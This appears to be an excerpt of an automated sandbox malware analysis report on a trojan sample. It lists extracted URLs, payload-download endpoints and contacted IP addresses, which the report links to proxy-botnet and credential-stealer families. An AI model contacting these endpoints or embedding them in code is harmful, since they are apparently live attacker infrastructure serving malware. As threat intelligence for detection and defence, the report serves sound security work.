https://logilive.com/ppsecure/InlineClient	0%	Avira URL Cloud	safe
https://188.119.66.185/w	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
https://188.119.66.185/ai/?key=8f3f2b3ab942463b774fe6a0231e72eee7c4db7e40b82a8dcd6c946851e300888c3250aa15d605633775b0e650f7ba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda332511d6358c	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/dll/download	false		high
http://80.82.65.70/dll/key	false		high
http://80.82.65.70/files/download	false		high
http://80.82.65.70/soft/download	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://account.live.com/Wizard/Password/Change?id=80601IDs	svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID	svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf	svchost.exe, 00000015.00000002.2536272490.00000235C2429000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmp	false		high
https://188.119.66.185/	videominimizer2.exe, 0000000F.00000002.2534981373.0000000000A7A000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2534981373.0000000000A61000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538388416.00000000034EC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf	svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://188.119.66.185/ai/?key=8f3f2b3ab942463b774fe6a0231e72eee7c4db7e40b82a8dcd6c946851e300888c325	videominimizer2.exe, 0000000F.00000002.2534981373.0000000000A7A000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538388416.00000000034D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.l	svchost.exe, 00000015.00000002.2537440927.00000235C2502000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.live.	svchost.exe, 00000015.00000002.2537440927.00000235C2502000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust	svchost.exe, 00000015.00000003.2237300478.00000235C2D0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2538022918.00000235C2D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2331195690.00000235C2D7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2538176376.00000235C2D7E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2389818923.00000235C2D7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2538119677.00000235C2D5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2292336960.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/ResolveUser.srf	svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/MSARST2.srf	svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceA	svchost.exe, 00000015.00000002.2536272490.00000235C2429000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/STS	svchost.exe, 00000015.00000002.2538119677.00000235C2D5F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issueure	svchost.exe, 00000015.00000003.2293599712.00000235C2D69000.00000004.00000020.00020000.00000000.sdmp	false		high
http://standards.iso.org/iso/19770/-2/2009/schema.xsd	svchost.exe, 00000003.00000002.2535188119.0000023F73685000.00000004.00000020.00020000.00000000.sdmp, regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.3.dr	false		high
http://www.audiocoding.com/	videominimizer2.exe, 0000000F.00000000.1932020100.00000000004D5000.00000002.00000001.01000000.0000000A.sdmp, EarnPackage.exe.15.dr, is-T3MEN.tmp.12.dr, videominimizer2.exe.12.dr	false	Avira URL Cloud: safe	unknown
https://188.119.66.185/5	videominimizer2.exe, 0000000F.00000002.2534981373.0000000000A7A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/InlineSignup.aspx?iww=1&id=80502Password/C	svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600-	svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 00000015.00000002.2538119677.00000235C2D5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2293599712.00000235C2D69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://188.119.66.185/priseCertificates	videominimizer2.exe, 0000000F.00000002.2534981373.0000000000A61000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd/4	svchost.exe, 00000015.00000002.2537852919.00000235C2D00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdp	svchost.exe, 00000015.00000002.2538119677.00000235C2D5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2293599712.00000235C2D69000.00000004.00000020.00020000.00000000.sdmp	false		high
http://liba52.sourceforge.net/B6.4.0.1	videominimizer2.exe, 0000000F.00000000.1932020100.00000000004D5000.00000002.00000001.01000000.0000000A.sdmp, EarnPackage.exe.15.dr, is-T3MEN.tmp.12.dr, videominimizer2.exe.12.dr	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds	svchost.exe, 00000015.00000002.2538119677.00000235C2D5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2293599712.00000235C2D69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/devicechangecredential.srf	svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust5	svchost.exe, 00000015.00000002.2538119677.00000235C2D5F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf	svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/tb	svchost.exe, 00000015.00000002.2538022918.00000235C2D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2292336960.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 00000015.00000003.2389818923.00000235C2D7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2120671798.00000235C2D80000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2264460302.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2538119677.00000235C2D5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2293599712.00000235C2D69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80601Exists.srf	svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.liveH	svchost.exe, 00000015.00000002.2537440927.00000235C2502000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	svchost.exe, 00000015.00000002.2538119677.00000235C2D5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2293599712.00000235C2D69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://signup.live.com/signup.aspx	svchost.exe, 00000015.00000003.2118892415.00000235C2D55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2538022918.00000235C2D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/tb_	svchost.exe, 00000015.00000002.2537440927.00000235C24F5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf=806	svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.innosetup.com/	sQurASc1qLwRL.tmp, sQurASc1qLwRL.tmp, 0000000C.00000000.1913231802.0000000000401000.00000020.00000001.01000000.00000007.sdmp, sQurASc1qLwRL.tmp.11.dr, is-BD8Q6.tmp.12.dr	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2537440927.00000235C2502000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/ResolveUser.srfve.com/si	svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	svchost.exe, 00000015.00000002.2538022918.00000235C2D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2264460302.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2538119677.00000235C2D5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2293599712.00000235C2D69000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	svchost.exe, 00000015.00000002.2538022918.00000235C2D37000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.videolan.org/dtsdec.html96.4.0.2	videominimizer2.exe, 0000000F.00000000.1932020100.00000000004D5000.00000002.00000001.01000000.0000000A.sdmp, EarnPackage.exe.15.dr, is-T3MEN.tmp.12.dr, videominimizer2.exe.12.dr	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/msangcwam	svchost.exe, 00000015.00000003.2119207317.00000235C2D57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdv	svchost.exe, 00000015.00000002.2537852919.00000235C2D00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf	svchost.exe, 00000015.00000002.2536272490.00000235C2429000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000015.00000002.2536789222.00000235C24A1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://passport.net/tb	svchost.exe, 00000015.00000002.2538914384.00000235C34A8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.19.dr	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issueue	svchost.exe, 00000015.00000002.2538119677.00000235C2D5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2293599712.00000235C2D69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf	svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	Y-Cleaner.exe.5.dr, soft[1].5.dr	false		high
https://login.microsoftonline.com/ppsecure/DeviceUpdate.srfr=4&	svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	svchost.exe, 00000015.00000002.2536789222.00000235C24A1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2292336960.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80603ssuercfg:	svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://188.119.66.185/u	videominimizer2.exe, 0000000F.00000002.2534981373.0000000000A61000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf	svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceAssociate.srft	svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/5	svchost.exe, 00000015.00000002.2538119677.00000235C2D5F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/Wizard/Password/Change?id=80601	svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	svchost.exe, 00000015.00000003.2359049651.00000235C2D7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2538022918.00000235C2D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2331195690.00000235C2D7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2538119677.00000235C2D5F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.remobjects.com/psU	sQurASc1qLwRL.exe, 0000000B.00000003.1912631512.00000000020B8000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.exe, 0000000B.00000003.1911640626.0000000002320000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.tmp, 0000000C.00000000.1913231802.0000000000401000.00000020.00000001.01000000.00000007.sdmp, sQurASc1qLwRL.tmp.11.dr, is-BD8Q6.tmp.12.dr	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://logilive.com/ppsecure/InlineClient	svchost.exe, 00000015.00000002.2537055218.00000235C24D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g-cleanit.hk	Y-Cleaner.exe.5.dr, soft[1].5.dr	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	svchost.exe, 00000015.00000002.2538119677.00000235C2D5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2293599712.00000235C2D69000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2292336960.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp	false		high
https://188.119.66.185/w	videominimizer2.exe, 0000000F.00000002.2534981373.0000000000A7A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf	svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/tb:pp	svchost.exe, 00000015.00000002.2537218332.00000235C24DC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2538740796.00000235C348C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.remobjects.com/ps	sQurASc1qLwRL.exe, 0000000B.00000003.1912631512.00000000020B8000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.exe, 0000000B.00000003.1911640626.0000000002320000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.tmp, sQurASc1qLwRL.tmp, 0000000C.00000000.1913231802.0000000000401000.00000020.00000001.01000000.00000007.sdmp, sQurASc1qLwRL.tmp.11.dr, is-BD8Q6.tmp.12.dr	false		high
https://www.easycutstudio.com/support.html	sQurASc1qLwRL.exe, 0000000B.00000003.1911056309.00000000020B1000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.exe, 0000000B.00000003.1910969237.0000000002320000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.exe, 0000000B.00000002.2534511707.00000000020B1000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.tmp, 0000000C.00000002.2534507282.0000000000580000.00000004.00000020.00020000.00000000.sdmp, sQurASc1qLwRL.tmp, 0000000C.00000003.1914458717.00000000020C8000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.tmp, 0000000C.00000002.2537299654.00000000020C8000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.tmp, 0000000C.00000003.1914370786.00000000028F0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceQuery.srflive.com/	svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issuesue	svchost.exe, 00000015.00000003.2293599712.00000235C2D69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE	svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://iplogger.org/1Pz8p7	Y-Cleaner.exe.5.dr, soft[1].5.dr	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd	svchost.exe, 00000015.00000003.2293599712.00000235C2D69000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
31.214.157.206	unknown	Germany	58329	RACKPLACEDE	false
80.82.65.70	unknown	Netherlands	202425	INT-NETWORKSC	false
188.119.66.185	unknown	Russian Federation	209499	FLYNETRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573851
Start date and time:	2024-12-12 16:46:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@27/55@0/3
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 93% Number of executed functions: 203 Number of non-executed functions: 261
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 40.126.53.12, 40.126.53.13, 20.190.181.2, 20.190.181.6, 20.190.181.5, 40.126.53.18, 20.231.128.67, 20.190.181.1, 104.208.16.94, 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, otelrules.azureedge.net, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net, onedsblobprdcus16.centralus.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
10:47:35	API Interceptor	910169x Sleep call for process: file.exe modified
10:48:04	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
10:48:44	API Interceptor	15x Sleep call for process: videominimizer2.exe modified
10:48:57	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
31.214.157.206	imMQqf6YWk.exe	Get hash	malicious	Socks5Systemz	Browse
	imMQqf6YWk.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
80.82.65.70	PGkSZbFKmI.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	80.82.65.70/files/download
	Mk4JWS27SO.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	BsVEQQnfyN.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Socks5Systemz	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
188.119.66.185	imMQqf6YWk.exe	Get hash	malicious	Socks5Systemz	Browse
	imMQqf6YWk.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RACKPLACEDE	imMQqf6YWk.exe	Get hash	malicious	Socks5Systemz	Browse	31.214.157.206
	imMQqf6YWk.exe	Get hash	malicious	Socks5Systemz	Browse	31.214.157.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	31.214.157.206
	file.exe	Get hash	malicious	Socks5Systemz	Browse	31.214.157.206
